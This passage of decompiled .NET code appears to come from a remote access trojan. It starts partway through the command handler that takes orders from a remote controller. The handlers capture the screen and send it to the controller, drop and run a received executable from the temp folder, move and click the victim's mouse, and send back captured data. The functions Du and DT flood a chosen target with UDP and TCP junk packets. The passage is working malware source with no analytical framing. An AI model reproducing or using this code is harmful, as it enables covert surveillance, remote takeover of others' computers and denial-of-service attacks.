            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num52,
              (object) integer
            }, (string[]) null, true, false);
            MemoryStream memoryStream2 = memoryStream1;
            ImageFormat jpeg = ImageFormat.Jpeg;
            image.Save((Stream) memoryStream2, jpeg);
            MemoryStream memoryStream3 = new MemoryStream();
            memoryStream3.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length);
            memoryStream3.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length);
            MyProject.Forms.B.WC.SendData(memoryStream3.ToArray());
            memoryStream1.Dispose();
            memoryStream3.Dispose();
            MyProject.Forms.B = (B) null;
          }
        }
        else if (Operators.CompareString(Left1, "#29", false) == 0)
        {
          IND.ER = 0;
          B b = MyProject.Forms.B;
          string str69 = "#Bla";
          ref string local60 = ref str69;
          b.SEND(ref local60);
          int num53 = 0;
          string str70;
          while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"))
          {
            try
            {
              File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe");
              str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
              goto label_259;
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            ++num53;
            if (num53 > 999)
              goto label_259;
          }
          str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
label_259:
          string path = str70;
          byte[] Byt = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          bool flag = false;
          ref bool local61 = ref flag;
          byte[] bytes = API.ZIP(Byt, ref local61);
          File.WriteAllBytes(path, bytes);
          Process.Start(new ProcessStartInfo()
          {
            FileName = str70,
            Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id)
          });
          ProjectData.EndApp();
        }
        else if (Operators.CompareString(Left1, "#30", false) == 0)
        {
          try
          {
            Array Instance42 = Instance1;
            object[] objArray76 = new object[1];
            object[] objArray77 = objArray76;
            int num54 = 1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num54;
            objArray77[0] = (object) local;
            object[] Arguments = objArray76;
            int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments, (string[]) null));
            byte[] numArray = sc.gc(ref integer);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num54,
              (object) integer
            }, (string[]) null, true, false);
            byte[] buffer = numArray;
            MemoryStream memoryStream = new MemoryStream();
            memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length);
            memoryStream.Write(buffer, 0, buffer.Length);
            MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
        }
        else if (Operators.CompareString(Left1, "#31", false) == 0)
        {
          IND.ER = 0;
          if (B.Busy)
            return;
          B.Busy = true;
          B b = MyProject.Forms.B;
          string str71 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height);
          ref string local = ref str71;
          b.SEND(ref local);
          B.Busy = false;
        }
        else if (Operators.CompareString(Left1, "#32", false) == 0)
        {
          IND.ER = 0;
          Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 2
          }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 3
          }, (string[]) null)));
          object Left4 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null);
          if (Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false))
          {
            IND.mouse_event(8, 0, 0, 0, 1);
            IND.mouse_event(16, 0, 0, 0, 1);
          }
          else if (Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false))
          {
            IND.mouse_event(2, 0, 0, 0, 1);
            IND.mouse_event(4, 0, 0, 0, 1);
          }
          else
          {
            if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false))
              return;
            IND.mouse_event(2, 0, 0, 0, 1);
            IND.mouse_event(4, 0, 0, 0, 1);
            IND.mouse_event(2, 0, 0, 0, 1);
            IND.mouse_event(4, 0, 0, 0, 1);
          }
        }
        else if (Operators.CompareString(Left1, "#33", false) == 0)
        {
          B b = MyProject.Forms.B;
          string str72 = "#5" + IND.Y + API.Gt();
          ref string local = ref str72;
          b.SEND(ref local);
        }
        else
        {
          if (Operators.CompareString(Left1, "#34", false) != 0)
            return;
          IND.ER = 0;
          Array Instance43 = Instance1;
          object[] objArray78 = new object[1];
          object[] objArray79 = objArray78;
          int num55 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num55;
          objArray79[0] = (object) local;
          object[] Arguments = objArray78;
          int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null));
          byte[] numArray = C.Capture1(ref integer);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num55,
            (object) integer
          }, (string[]) null, true, false);
          byte[] buffer = numArray;
          if (buffer.Length == 0)
            return;
          MemoryStream memoryStream = new MemoryStream();
          memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
          memoryStream.Write(buffer, 0, buffer.Length);
          MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
        }
      }
      catch (Exception ex)
      {
        int lErl = num1;
        ProjectData.SetProjectError(ex, lErl);
        Exception exception = ex;
        B.Busy = false;
        B b = MyProject.Forms.B;
        string[] strArray13 = new string[6]
        {
          "#10",
          IND.Y,
          "^",
          Conversions.ToString(IND.ER),
          IND.Y,
          null
        };
        string[] strArray14 = strArray13;
        string message = exception.Message;
        string str73 = API.ENB(ref message);
        strArray14[5] = str73;
        string str74 = string.Concat(strArray13);
        ref string local = ref str74;
        b.SEND(ref local);
        IND.ER = 0;
        ProjectData.ClearProjectError();
      }
    }

    public static string siz(string Size)
    {
      if (Size.Length < 4)
        return Size + " Bytes";
      string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0);
      string str2 = " KB";
      int integer;
      if (Strings.InStr(str1, ".") > 0)
      {
        Array Instance = (Array) Strings.Split(str1, ".");
        str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null));
        if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 1
        }, (string[]) null).ToString().Length > 3)
          integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null)), 1, 3));
        else
          integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null));
      }
      if (str1.Length > 3)
      {
        str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
        str2 = " MB";
        if (Strings.InStr(str1, ".") > 0)
        {
          Array Instance = (Array) Strings.Split(str1, ".");
          str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 0
          }, (string[]) null));
          if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().Length > 3)
            integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null)), 1, 3));
          else
            integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null));
        }
      }
      if (str1.Length > 3)
      {
        str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
        str2 = " GB";
        if (Strings.InStr(str1, ".") > 0)
        {
          Array Instance = (Array) Strings.Split(str1, ".");
          str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 0
          }, (string[]) null));
          if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().Length > 3)
            integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null)), 1, 3));
          else
            integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null));
        }
      }
      return str1 + "." + Conversions.ToString(integer) + str2;
    }

    [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern void mouse_event(
      int dwFlags,
      int dx,
      int dy,
      int cButtons,
      int dwExtraInfo);

    public static byte[] SB(ref string s, ref byte[] B)
    {
      MemoryStream memoryStream = new MemoryStream();
      byte[] bytes = Encoding.Default.GetBytes(s);
      memoryStream.Write(bytes, 0, bytes.Length);
      byte[] Byt = B;
      bool flag = true;
      ref bool local = ref flag;
      byte[] buffer = API.ZIP(Byt, ref local);
      memoryStream.Write(buffer, 0, buffer.Length);
      return memoryStream.ToArray();
    }

    public static string _P(ref int y)
    {
      IND.pk = "";
      int num = y;
      for (int index = 0; index <= num; ++index)
        IND.pk += "A";
      return IND.pk;
    }

    public static void Du(Array z)
    {
      byte[] numArray = new byte[0];
      Encoding ascii = Encoding.ASCII;
      int y = 1000;
      string s = IND._P(ref y);
      byte[] bytes = ascii.GetBytes(s);
      try
      {
        TcpClient tcpClient = new TcpClient();
        Socket client = tcpClient.Client;
        object[] objArray1 = new object[2];
        object[] objArray2 = objArray1;
        Array Instance1 = z;
        object[] objArray3 = new object[1];
        object[] objArray4 = objArray3;
        int num1 = 0;
        // ISSUE: variable of a boxed type
        __Boxed<int> local1 = (ValueType) num1;
        objArray4[0] = (object) local1;
        object[] Arguments1 = objArray3;
        object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
        objArray2[0] = objectValue1;
        object[] objArray5 = objArray1;
        Array Instance2 = z;
        object[] objArray6 = new object[1];
        object[] objArray7 = objArray6;
        int num2 = 1;
        // ISSUE: variable of a boxed type
        __Boxed<int> local2 = (ValueType) num2;
        objArray7[0] = (object) local2;
        object[] Arguments2 = objArray6;
        object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
        objArray5[1] = objectValue2;
        object[] objArray8 = objArray1;
        object[] Arguments3 = objArray8;
        bool[] flagArray = new bool[2]{ true, true };
        bool[] CopyBack = flagArray;
        NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
        if (flagArray[0])
          NewLateBinding.LateIndexSetComplex((object) z, new object[2]
          {
            (object) num1,
            RuntimeHelpers.GetObjectValue(objArray8[0])
          }, (string[]) null, true, false);
        if (flagArray[1])
          NewLateBinding.LateIndexSetComplex((object) z, new object[2]
          {
            (object) num2,
            RuntimeHelpers.GetObjectValue(objArray8[1])
          }, (string[]) null, true, false);
        tcpClient.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
        return;
      }
      int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) z, new object[1]
      {
        (object) 2
      }, (string[]) null));
      for (int index = 0; index <= integer; ++index)
      {
        UdpClient udpClient = new UdpClient();
        try
        {
          UdpClient Instance3 = udpClient;
          object[] objArray9 = new object[2];
          object[] objArray10 = objArray9;
          Array Instance4 = z;
          object[] objArray11 = new object[1];
          object[] objArray12 = objArray11;
          int num3 = 0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          objArray12[0] = (object) local3;
          object[] Arguments4 = objArray11;
          object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
          objArray10[0] = objectValue3;
          object[] objArray13 = objArray9;
          Array Instance5 = z;
          object[] objArray14 = new object[1];
          object[] objArray15 = objArray14;
          int num4 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          objArray15[0] = (object) local4;
          object[] Arguments5 = objArray14;
          object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
          objArray13[1] = objectValue4;
          object[] objArray16 = objArray9;
          object[] Arguments6 = objArray16;
          bool[] flagArray = new bool[2]{ true, true };
          bool[] CopyBack = flagArray;
          NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
          if (flagArray[0])
            NewLateBinding.LateIndexSetComplex((object) z, new object[2]
            {
              (object) num3,
              RuntimeHelpers.GetObjectValue(objArray16[0])
            }, (string[]) null, true, false);
          if (flagArray[1])
            NewLateBinding.LateIndexSetComplex((object) z, new object[2]
            {
              (object) num4,
              RuntimeHelpers.GetObjectValue(objArray16[1])
            }, (string[]) null, true, false);
          udpClient.Client.SendTimeout = 500;
          udpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
    }

    public static void DT(Array Z)
    {
      byte[] numArray = new byte[0];
      Encoding ascii = Encoding.ASCII;
      int y = 1000;
      string s = IND._P(ref y);
      byte[] bytes = ascii.GetBytes(s);
      try
      {
        TcpClient tcpClient = new TcpClient();
        Socket client = tcpClient.Client;
        object[] objArray1 = new object[2];
        object[] objArray2 = objArray1;
        Array Instance1 = Z;
        object[] objArray3 = new object[1];
        object[] objArray4 = objArray3;
        int num1 = 0;
        // ISSUE: variable of a boxed type
        __Boxed<int> local1 = (ValueType) num1;
        objArray4[0] = (object) local1;
        object[] Arguments1 = objArray3;
        object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
        objArray2[0] = objectValue1;
        object[] objArray5 = objArray1;
        Array Instance2 = Z;
        object[] objArray6 = new object[1];
        object[] objArray7 = objArray6;
        int num2 = 1;
        // ISSUE: variable of a boxed type
        __Boxed<int> local2 = (ValueType) num2;
        objArray7[0] = (object) local2;
        object[] Arguments2 = objArray6;
        object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
        objArray5[1] = objectValue2;
        object[] objArray8 = objArray1;
        object[] Arguments3 = objArray8;
        bool[] flagArray = new bool[2]{ true, true };
        bool[] CopyBack = flagArray;
        NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
        if (flagArray[0])
          NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
          {
            (object) num1,
            RuntimeHelpers.GetObjectValue(objArray8[0])
          }, (string[]) null, true, false);
        if (flagArray[1])
          NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
          {
            (object) num2,
            RuntimeHelpers.GetObjectValue(objArray8[1])
          }, (string[]) null, true, false);
        tcpClient.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
        return;
      }
      int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Z, new object[1]
      {
        (object) 2
      }, (string[]) null));
      for (int index = 0; index <= integer; ++index)
      {
        TcpClient tcpClient = new TcpClient();
        try
        {
          TcpClient Instance3 = tcpClient;
          object[] objArray9 = new object[2];
          object[] objArray10 = objArray9;
          Array Instance4 = Z;
          object[] objArray11 = new object[1];
          object[] objArray12 = objArray11;
          int num3 = 0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          objArray12[0] = (object) local3;
          object[] Arguments4 = objArray11;
          object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
          objArray10[0] = objectValue3;
          object[] objArray13 = objArray9;
          Array Instance5 = Z;
          object[] objArray14 = new object[1];
          object[] objArray15 = objArray14;
          int num4 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          objArray15[0] = (object) local4;
          object[] Arguments5 = objArray14;
          object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
          objArray13[1] = objectValue4;
          object[] objArray16 = objArray9;
          object[] Arguments6 = objArray16;
          bool[] flagArray = new bool[2]{ true, true };
          bool[] CopyBack = flagArray;
          NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
          if (flagArray[0])
            NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
            {
              (object) num3,
              RuntimeHelpers.GetObjectValue(objArray16[0])
            }, (string[]) null, true, false);
          if (flagArray[1])
            NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
            {
              (object) num4,
              RuntimeHelpers.GetObjectValue(objArray16[1])
            }, (string[]) null, true, false);
          tcpClient.Client.SendTimeout = 500;
          tcpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
    }

    public delegate void indd(string T);
  }
}
